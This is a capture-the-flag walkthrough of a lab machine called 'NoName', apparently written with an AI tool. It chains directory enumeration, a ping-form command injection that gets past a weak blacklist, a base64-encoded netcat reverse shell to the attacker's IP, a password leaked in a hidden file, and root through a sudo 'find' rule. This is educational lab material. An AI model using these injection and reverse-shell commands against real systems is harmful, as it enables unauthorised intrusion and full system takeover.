🚀 NoName — Full Walkthrough (By KaliGPT)

A smart, fun, easy-to-read, and knowledge-rich guide

🧭 1. Initial Recon — Discovering the Attack Surface

We start by scanning everything. A fast full-port scan tells us what services the system exposes:

nmap -sCV -p- 192.168.196.15 --min-rate 10000 -oN nmap

Result: Only port 80 (HTTP) is open.

That instantly tells us:

• No SSH
• No database
• Everything must be reachable through the web service.

So the machine is clearly web exploitation focused.

🌐 2. Exploring the Web — Where the Real Challenge Begins

Opening:

http://192.168.196.15

We are greeted with a fake “query” page — intentionally useless.

This is common in CTF machines: hide real functionality behind non-obvious paths.

So we enumerate directories.

🔍 3. Directory Enumeration — Finding Hidden Functionality

First scan using a common wordlist:

gobuster dir -u http://192.168.196.15/ -w /usr/share/dirb/wordlists/common.txt

We find:

/admin

Going to /admin, we only see four images. No forms, no scripts, nothing interactive.

So we enumerate inside /admin as well:

gobuster dir -u http://192.168.196.15/admin -w /usr/share/dirb/wordlists/common.txt

This time we hit something important:

/superadmin.php

And that’s where the real vulnerability lives.

⚡ 4. The Vulnerable Feature — Ping Command Injection

Opening:

http://192.168.196.15/superadmin.php

We see a very simple web form:

“Enter an IP to ping”

Whenever you see a ping box in CTFs → ALWAYS test command injection.

Example tests:

google.com | id

The server responds with:

uid=33(www-data) gid=33(www-data)

🎉 Confirms: Remote Command Execution as www-data

This machine just got a lot more interesting.

🧠 5. Source Code Analysis — Understanding the Filter

We try reading the PHP file:

google.com | cat superadmin.php

Output is messy, but we check View Source and find the exact filtering code:

$word = array(";", "&&", "/", "bin", "&", " &&", "ls", "nc", "dir", "pwd");
$newStr = str_replace($word, "", $pinged);

if(strcmp($pinged, $newStr) == 0) {
    $flag = 1;
}

This tells us a LOT:

❌ Blocked characters/words: ; && / bin & ls nc dir pwd

Meaning?

• We cannot run /bin/bash
• We cannot use nc
• We cannot end commands with ;
• We cannot use directory paths

But… The code ONLY replaces the string. It does not sanitize for backticks, pipes, base64 decoding, subshells, etc.

So we can still run:

`<command>`

and

| <command>

This is a classic weak blacklist filter → perfect for bypassing.

🎯 6. Getting a Reverse Shell — Base64 Bypass

Since nc and /bin/bash are blocked, we encode the entire reverse shell command:

Step 1: Create reverse shell

echo -n "nc.traditional -e /bin/bash 192.168.45.220 1111" | base64

Output:

bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDUuMjIwIDExMTE=

Step 2: Decode and execute on target using command substitution

127.0.0.1 | `echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDUuMjIwIDExMTE=" | base64 -d`

Step 3: Start listener

nc -nvlp 1111

💥 We have a shell as www-data.

🧪 Alternative Injection (Burp Suite Method)

Intercept request → modify parameter:

pinger=127.0.0.1 | `echo "<base64>" | base64 -d`&submitt=Submit

Sometimes more reliable when browser encoding breaks things.

👤 7. Enumerating Users & Finding Flags

Check /home:

cd /home
ls

We see:

haclabs
yash

Inside yash:

cat local.txt

And we grab the user flag.

💪 8. Improving Shell Quality

Always stabilize shells for smoother privilege escalation:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty raw -echo; fg

Now the shell behaves like a real terminal.

🕵️ 9. Privilege Escalation — Hunting User-Owned Files

Find anything owned by yash:

find / -type f -user yash 2>/dev/null

Interesting file found:

/usr/share/hidden/.passwd

Inside is a password → turns out to belong to haclabs.

Switch user:

su haclabs
Password: haclabs1234

We are now a real user.

🔑 10. Sudo Privilege Discovery

sudo -l

We see:

(ALL) NOPASSWD: /usr/bin/find

This is a known local privilege escalation from GTFOBins.

⚡ 11. Root Access via find

GTFOBins method:

/usr/bin/find . -exec /bin/sh \; -quit

Instantly drops us into:

root@noname:~#

Now read the final flag:

cat /root/proof.txt

✔ Rooted.

🏁 12. Summary — What This Machine Teaches You

Web Security Concepts

• Directory brute forcing
• Command injection discovery
• Bad blacklist filtering
• Base64 shell delivery

Privilege Escalation Skills

• Credential discovery through user file ownership
• Sudo misconfiguration exploitation
• GTFOBins usage

Practical Techniques

• Shell stabilization
• Payload encoding
• Input sanitization bypass

Overall, this machine rewards curiosity, patience, and knowing your Linux privilege escalation tricks.